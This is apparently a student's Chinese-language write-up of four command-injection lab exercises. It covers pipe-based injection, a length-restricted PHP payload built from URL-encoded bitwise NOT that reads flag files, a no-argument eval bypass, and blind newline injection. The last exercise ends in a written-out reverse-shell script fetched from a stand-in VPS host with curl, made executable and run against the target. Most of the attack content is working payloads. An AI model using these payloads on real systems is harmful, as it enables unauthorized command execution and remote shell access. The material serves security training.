命令执行漏洞
作业1:
命令执行与代码执行字符过滤绕过
十分经典的题
使用单或双管道符绕过即可|或者||

获取flag
payload:127.0.0.1 | cat /flag.txt

作业2:
长度绕过
文件权限环境有问题,在靶机上使用下方命令即可正常打靶了
chmod 777 index.php /flag.txt
使用GET传参,参数名为code,长度不能超过35,正则过滤字母、数字、下划线和美元符
利用php的URL编码取反转化成二进制的URL编码的乱码传入

字符转编码代码:
<?php
//str1参数为要编码的字符串,phpinfo字符串只是一个示例,根据PHP版本使用不同的构造方式
$str1="phpinfo";
str2="\~".urlencode(str);
echo $str2;
?>

执行尝试执行命令,system(ls /);,需要对system和ls /进行编码,编码后为%93%8C%DF%D0

获取flag
system ==>%8C%86%8C%8B%9A%92
cat /f* ==>%9C%9E%8B%DF%D0%99%D5
组合一下system(cat /*); ==>(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);

作业3:
无参数绕过
靶机和攻击机不在同一网段内,攻击机无法展开攻击,只能在防守机上展开攻击
GET请求参数code,递归匹配函数()的结构,函数()结构替换为空,括号内参数和外部的分号;合并成一体,继续下一个if,正则匹配不区分大小写匹配test字符串,只要不包含test字符串就可以执行eval函数

尝试请求phpinfo();函数,请求成功

这个步骤出flag,因为是GET传参,有些参数要进行URL编码
curl http://127.0.0.1/index.php?code=readfile(end(scandir(pos(localeconv()))))
#正则匹配test字符串严格,只能另寻他路,目录扫描,扫描出robots.txt文件
curl http://127.0.0.1/robots.txt
#传入在index.php看到的代码,test传参输入正确值获取flag
curl http://127.0.0.1/zflag.php?test=@@@####!!!!

作业4:
无回显绕过
访问,有PingIP的功能,过滤了很多字符
"$", "{", "}", "\`", ";", "\&", "\|", "(", ")", "\\"", "'", "\~", "!", "@", "#", "%", "\^", "\*", "\[", "\]", "\\\\", ":", "-", "_"\]; 最终%0a可以使用  %0awhoami可以执行,但是重定向无法到达/var/www/html目录下,只能/tmp目录下执行成功  由于无VPS,所以拿百度大哥当VPS,也成功了,说明可以下载文件到/tmp目录下  由于无VPS所以只能纸上谈兵,无回显就这样打了 #反弹shell脚本,在VPS下写入一下内容,命名为1.sh bash -i \>\& /dev/tcp/172.17.0.3/4444 0\>\&1 #下载重定向到/tmp/1.sh文件中 127.0.0.1%0acurl VPS_IP/1.sh \> /tmp/1.sh #赋予执行能力 127.0.0.1%0achmod 777 /tmp/1.sh #本地开启监听 nc -l 4444 #靶机执行反弹shell脚本命令 127.0.0.1%0ash /tmp/1.sh #本机任意执行命令 id whoami ls / cat /f\* ## 个人评价: RCE一个很有意思的漏洞,非常的珍贵,黑客的最爱,打点玩家心中的希望。这几题都很有难度,而且靶场的环境有经常出问题。无回显RCE绕过这个类型,也经常在面试上会被问到,也是一个很重要的环境实操。